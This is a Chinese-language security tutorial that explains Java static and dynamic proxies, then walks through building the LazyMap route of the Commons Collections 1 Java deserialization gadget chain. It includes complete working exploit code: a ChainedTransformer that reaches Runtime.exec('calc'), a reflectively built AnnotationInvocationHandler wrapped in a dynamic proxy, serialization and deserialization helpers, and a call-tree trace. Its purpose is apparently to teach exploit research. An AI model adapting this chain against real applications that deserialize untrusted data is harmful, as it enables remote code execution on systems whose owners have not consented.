Java代理机制及CC1链拾遗补阙

在原先的CC1链解析中,我们利用transformedMap类的checkSetValue()方法触发transform(),此外CC1链还有另外一种实现方法,通过依赖LazyMap类的get()进行触发。在此之前,需要对Java的代理机制有一定了解


代理机制

代理模式使用代理对象来代替对真实对象的访问,这样就可以在不修改原目标对象的前提下,提供额外的功能操作,扩展目标对象的功能。Java中的代理大致可分成静态代理和动态代理两类

静态代理

静态代理通过代理对象和目标对象实现同一个接口,达成了通过代理对象访问目标对象。下面是一个静态代理的实现步骤

定义接口

interface Calculator {
int add(int a, int b);
}

定义目标类

class RealCalculator implements Calculator {
public int add(int a, int b) {
return a + b;
}
}

定义代理类

class CalculatorProxy implements Calculator {
private Calculator realCalculator;

public CalculatorProxy(Calculator realCalculator) {
this.realCalculator = realCalculator;
}

public int add(int a, int b) {
// 调用目标对象的add方法
int result = realCalculator.add(a, b);
return result;
}
}

应用静态代理模式

public class Main {
public static void main(String[] args) {

Calculator Calc = new RealCalculator();
Calculator proxy = new CalculatorProxy(Calc);
int result = proxy.add(10, 20);
System.out.println(result);
}
}

main()中,我们看似对proxy调用了add()方法,但实际上proxy并不是实际执行者,而是转手调用了目标对象clac去执行。此外不难发现,如果Calculator接口多了一个divide()方法,那么就需要同时对RealCalculatorCalculatorProxy进行重写,这是非常麻烦的,而动态代理则很好地解决了这个问题

动态代理

动态代理又可分为Java内置的JDK动态代理和第三方的CGLIB动态代理,以理解CC1链的LazyMap线路为目的只需要了解JDK动态代理即可

在动态代理中,通过 Proxy.newProxyInstance() 方法创建代理对象

public static Object newProxyInstance(ClassLoader loader,Class<?>[] interfaces,InvocationHandler h)

其中,loader作为类加载器,用于加载代理对象,interfaces指被代理类实现的接口,h需要传入一个InvocationHandle的实现类作为处理器类,可以通过重写invoke方法去规定代理对象的处理逻辑。同样是计算器的例子,看看动态代理是如何实现的

定义处理器类,重写invoke()方法,proxy是代理对象本身,method为被调用的方法,args为方法的参数数组

class CalcInvocationHandler implements InvocationHandler {
private Object target;

public CalcInvocationHandler(Object target) {
this.target = target;
}

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
return method.invoke(target, args);
}
}

应用动态代理模式

public class Main {
public static void main(String[] args) {
Calculator Calc = new RealCalculator();

Calculator proxy = (Calculator) Proxy.newProxyInstance(
Calculator.class.getClassLoader(),
new Class[]{Calculator.class},
new CalcInvocationHandler(Calc));

System.out.println(proxy.add(10, 20));
System.out.println(proxy.divide(20, 4));
}

此时,对proxy调用add()方法,会触发CalcInvocationHandler实例的invoke()方法,调用目标对象的add()方法

动态代理通过运行时生成实现指定接口的代理类,并缓存这些代理类以避免重复生成,将所有方法调用转发给InvocationHandler处理


实现CommonsCollections1反序列化链的LazyMap路线

回到链中,当尝试去寻找调用transform()方法的上层方法时,当时选择了TransformedMapcheckSetValue()方法。除此以外,LazyMapget()方法似乎也能满足这一条件

public Object get(Object key) {
if (!this.map.containsKey(key)) {
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
} else {
return this.map.get(key);
}
}

if语句的绕过只要map中不存在传入的key就行

该类的构造器是protected修饰的方法,但是其静态的decorate()方法能够获得一个LazyMap实例

public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

至此,我们的链可以被改写为以下形式

public class Main {
public static void main(String[] args) throws Exception {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Map<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,invokerTransformer);
lazyMap.get(Runtime.getRuntime());
}

接下来,寻找调用了get()的上层,在AnnotationInvocationHandlerinvoke()方法中就可以发现

public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
switch (var4) {
case "toString":
return this.toStringImpl();
case "hashCode":
return this.hashCodeImpl();
case "annotationType":
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}

return var6;
}
}
}
}

要执行到Object var6 = this.memberValues.get(var4)还有两层判断语句需要绕过,首先是var4不等于"equals",由前面对invoke()方法的分析可以得知,var4此处指通过代理调用的方法不为equals(),而我们需要调用的是entrySet()。然后是var5的长度为0,var5指传入的参数数组的元素个数,entrySet()的参数个数是0,所以不用做刻意绕过(怎么感觉说了等于没说

接下来就是实例化第一个AnnotationInvocationHandler,并将其作为代理处理器嵌入代理中,实例化过程用到反射这在上一篇已经有说明

Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler annotationInvocationHandler1 = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);
Map<Object,Object> proxyMap = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, annotationInvocationHandler1);

然后再次实例化AnnotationInvocationHandler作为启动类,这一次传入的memberValues则是proxyMap以用来触发invoke()方法

InvocationHandler annotationInvocationHandler2 = (InvocationHandler) constructor.newInstance(Override.class,proxyMap);

至此,LazyMap版本的CommonsCollections1反序列化链也构造完毕了,全链如下

public class Main {
public static void main(String[] args) throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
});
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Map<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler annotationInvocationHandler1 = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);
Map<Object,Object> proxyMap = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, annotationInvocationHandler1);
InvocationHandler annotationInvocationHandler2 = (InvocationHandler) constructor.newInstance(Override.class,proxyMap);
serialize(annotationInvocationHandler2);
unserialize("ser2.bin");
}

public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser2.bin")));
oos.writeObject(object);
}

public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
objectInputStream.readObject();
}

}

如果直接运行可能会报错,因为entrySet()方法期望返回一个Set对象,而我们这个链在遍历的时候直接去执行危险方法了,返回的是一个Process,如果想解决可以在transformer数组多放一个ConstantTransformer让其返回一个Set就行

总结一下,在链中,一个AnnotationInvocationHandler对象被反序列化,这会触发其readObject()方法,readObject()在调用entrySet()遍历传入的代理对象时,调用我们设置的处理器对象annotationInvocationHandler2invoke(),该方法对目标对象lazymap调用了get()方法,之后的过程则与先前的链一致

ois.readObject()
└── AnnotationInvocationHandler.readObject()
├── this.memberValues.entrySet()
│ └── (Proxy Map).entrySet() // 动态代理对象
│ └── AnnotationInvocationHandler.invoke()
│ ├── 方法名检查 (member.equals("equals")...)
│ ├── 参数检查 (paramTypes.length != 0)
│ └── this.memberValues.get(member) // member = "entrySet"
│ └── (LazyMap).get("entrySet")
│ ├── map.containsKey("entrySet")? // 不存在,执行transform
│ └── this.factory.transform("entrySet") // 关键触发点
│ └── ChainedTransformer.transform()
│ ├── ConstantTransformer.transform() → Runtime.class
│ ├── InvokerTransformer.transform() // getMethod("getRuntime")
│ │ └── Runtime.class.getMethod("getRuntime")
│ ├── InvokerTransformer.transform() // invoke(null)
│ │ └── method.invoke(null, new Object[0]) → Runtime实例
│ └── InvokerTransformer.transform() // exec("calc")
│ └── Runtime.getRuntime().exec("calc")
│ ├── Process对象返回
│ └── 类型转换异常 (Process → Set)

├── for (Map.Entry<String, Object> var5 : this.memberValues.entrySet())
│ └── // 此处本应遍历,但因类型异常中断

└── 其他readObject逻辑...